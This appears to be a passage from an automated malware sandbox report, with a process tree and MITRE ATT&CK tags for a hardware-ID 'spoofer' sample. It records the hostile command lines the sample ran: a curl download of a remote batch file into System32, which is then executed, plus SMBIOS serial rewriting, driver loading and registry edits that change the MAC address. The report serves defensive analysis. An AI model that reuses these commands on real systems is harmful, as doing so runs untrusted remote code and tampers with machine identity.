- Suspicious use of AdjustPrivilegeToken
PID:15728

C:\Users\Admin\AppData\Roaming\Update.exe
"C:\Users\Admin\AppData\Roaming\Update.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:11072

C:\Users\Admin\AppData\Roaming\Update.exe
"C:\Users\Admin\AppData\Roaming\Update.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:12708

C:\Users\Admin\Downloads\VC_redist.x64.exe
"C:\Users\Admin\Downloads\VC_redist.x64.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:13556
- C:\Windows\Temp\{38F456DC-22D2-4B23-9DFE-1D6E43A6AB01}\.cr\VC_redist.x64.exe
  "C:\Windows\Temp\{38F456DC-22D2-4B23-9DFE-1D6E43A6AB01}\.cr\VC_redist.x64.exe" -burn.clean.room="C:\Users\Admin\Downloads\VC_redist.x64.exe" -burn.filehandle.attached=584 -burn.filehandle.self=720
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:13560
- - C:\Windows\Temp\{07C51EA6-92EF-486D-A6C7-F390B7F2A952}\.be\VC_redist.x64.exe
    "C:\Windows\Temp\{07C51EA6-92EF-486D-A6C7-F390B7F2A952}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{058B1685-C0C9-4ACA-BAFC-6B2ADF257D21} {D2814B59-9029-4D0F-8FBE-C3CCC621C909} 13560
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    PID:2724
  - - C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
      "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -uninstall -quiet -burn.related.upgrade -burn.ancestors={804e7d66-ccc2-4c12-84ba-476da31d103d} -burn.filehandle.self=1104 -burn.embedded BurnPipe.{83D3A06C-685B-4018-921A-32D1AE0DF1F5} {CD19D107-6B8C-4077-8986-D680391D2B45} 2724
      4⤵
      System Location Discovery: System Language Discovery
      PID:1168
    - - C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
        
        "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.filehandle.attached=548 -burn.filehandle.self=568 -uninstall -quiet -burn.related.upgrade -burn.ancestors={804e7d66-ccc2-4c12-84ba-476da31d103d} -burn.filehandle.self=1104 -burn.embedded BurnPipe.{83D3A06C-685B-4018-921A-32D1AE0DF1F5} {CD19D107-6B8C-4077-8986-D680391D2B45} 2724
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:700
      - C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
        
        "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{BE93BA1B-1A5E-4E2A-972C-AC5DA96A5175} {023E74C6-ECB4-40D6-8B2F-7BF593A45D15} 700
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3576

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:14060

C:\Users\Admin\Downloads\dxwebsetup.exe
"C:\Users\Admin\Downloads\dxwebsetup.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:14492
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  PID:2776

C:\Users\Admin\Desktop\temp\temp\temp\temp\vson I temp.exe
"C:\Users\Admin\Desktop\temp\temp\temp\temp\vson I temp.exe"
1⤵
- Checks computer location settings
PID:3032
- C:\Users\Admin\AppData\Roaming\svxspoofer.exe
  "C:\Users\Admin\AppData\Roaming\svxspoofer.exe"
  2⤵
  - Checks computer location settings
  PID:12320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Loli1.bat" "
    3⤵
    PID:15428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe "if ((Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model | findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse | Where-Object { -not $_.PSIsContainer } | Measure-Object).Count)) {exit 900} else {exit 1}"
      4⤵
      PID:12012
    - - C:\Windows\system32\findstr.exe
        
        "C:\Windows\system32\findstr.exe" /i WDS100T2B0A
        5⤵
        
        PID:11808
- - C:\Users\Admin\AppData\Roaming\spoofer.exe
    "C:\Users\Admin\AppData\Roaming\spoofer.exe"
    3⤵
    PID:12040
- C:\Users\Admin\AppData\Roaming\temp.exe
  "C:\Users\Admin\AppData\Roaming\temp.exe"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:11268
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get serialnumber
    3⤵
    PID:12480
- - C:\Windows\System32\Wbem\wmic.exe
    wmic bios get serialnumber
    3⤵
    PID:12608
- - C:\Windows\System32\Wbem\wmic.exe
    wmic baseboard get serialnumber
    3⤵
    PID:12664
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_computersystemproduct get uuid
    3⤵
    PID:12640
- - C:\Windows\SYSTEM32\getmac.exe
    getmac
    3⤵
    PID:12708
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get serialnumber
    3⤵
    PID:13252
- - C:\Windows\System32\Wbem\wmic.exe
    wmic bios get serialnumber
    3⤵
    PID:13080
- - C:\Windows\System32\Wbem\wmic.exe
    wmic baseboard get serialnumber
    3⤵
    PID:13104
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_computersystemproduct get uuid
    3⤵
    PID:13488
- - C:\Windows\SYSTEM32\getmac.exe
    getmac
    3⤵
    PID:13240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\winxsrcsv64.exe /BS 3SF6922BI7AD79 > NUL 2>&1
    3⤵
    PID:13272
  - - C:\Windows\System32\winxsrcsv64.exe
      C:\Windows\System32\winxsrcsv64.exe /BS 3SF6922BI7AD79
      4⤵
      PID:2324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\winxsrcsv64.exe /SS "Default string" > NUL 2>&1
    3⤵
    PID:3916
  - - C:\Windows\System32\winxsrcsv64.exe
      C:\Windows\System32\winxsrcsv64.exe /SS "Default string"
      4⤵
      PID:13584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\winxsrcsv64.exe /SU auto > NUL 2>&1
    3⤵
    PID:13276
  - - C:\Windows\System32\winxsrcsv64.exe
      C:\Windows\System32\winxsrcsv64.exe /SU auto
      4⤵
      PID:13636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\winxsrcsv64.exe /SK "To Be Filled By O.E.M." > NUL 2>&1
    3⤵
    PID:13516
  - - C:\Windows\System32\winxsrcsv64.exe
      C:\Windows\System32\winxsrcsv64.exe /SK "To Be Filled By O.E.M."
      4⤵
      PID:13736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\winxsrcsv64.exe /PSN "To Be Filled By O.E.M." > NUL 2>&1
    3⤵
    PID:13744
  - - C:\Windows\System32\winxsrcsv64.exe
      C:\Windows\System32\winxsrcsv64.exe /PSN "To Be Filled By O.E.M."
      4⤵
      PID:4332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\2.exe C:\Windows\System32\1.sys
    3⤵
    PID:13800
  - - C:\Windows\System32\2.exe
      C:\Windows\System32\2.exe C:\Windows\System32\1.sys
      4⤵
      Sets service image path in registry
      Suspicious behavior: LoadsDriver
      PID:13840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop winmgmt /y
    3⤵
    PID:13936
  - - C:\Windows\system32\net.exe
      net stop winmgmt /y
      4⤵
      PID:16352
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop winmgmt /y
        5⤵
        
        PID:16368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net start winmgmt /y
    3⤵
    PID:5904
  - - C:\Windows\system32\net.exe
      net start winmgmt /y
      4⤵
      PID:5940
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start winmgmt /y
        5⤵
        
        PID:5932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://clovics.org/mac.bat --output C:\Windows\System32\mac.bat >nul
    3⤵
    PID:5468
  - - C:\Windows\system32\curl.exe
      curl --silent https://clovics.org/mac.bat --output C:\Windows\System32\mac.bat
      4⤵
      PID:5812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\System32\mac.bat
    3⤵
    PID:5716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
      4⤵
      PID:2240
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where physicaladapter=true get deviceid
        5⤵
        
        PID:3196
    - - C:\Windows\system32\findstr.exe
        
        findstr [0-9]
        5⤵
        
        PID:2424
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01
      4⤵
      PID:13976
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001
      4⤵
      PID:5100
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
      4⤵
      PID:2208
  - - C:\Windows\system32\reg.exe
      REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v NetworkAddress /t REG_SZ /d 02300898B01CF /f
      4⤵
      PID:1616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
      4⤵
      PID:5184
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where physicaladapter=true get deviceid
        5⤵
        
        PID:5256
    - - C:\Windows\system32\findstr.exe
        
        findstr [0-9]
        5⤵
        
        PID:13880
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01
      4⤵
      PID:16292
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001
      4⤵
      PID:13896
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
      4⤵
      PID:16296
  - - C:\Windows\system32\reg.exe
      REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v PnPCapabilities /t REG_DWORD /d 24 /f
      4⤵
      PID:2724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv"
      4⤵
      PID:14240
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv
        5⤵
        
        PID:14112
  - - C:\Windows\system32\netsh.exe
      netsh interface set interface name="Ethernet" disable
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:14596

C:\Users\Admin\AppData\Roaming\Update.exe
"C:\Users\Admin\AppData\Roaming\Update.exe"
1⤵
PID:12356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:5856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
- Modifies data under HKEY_USERS
PID:14204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery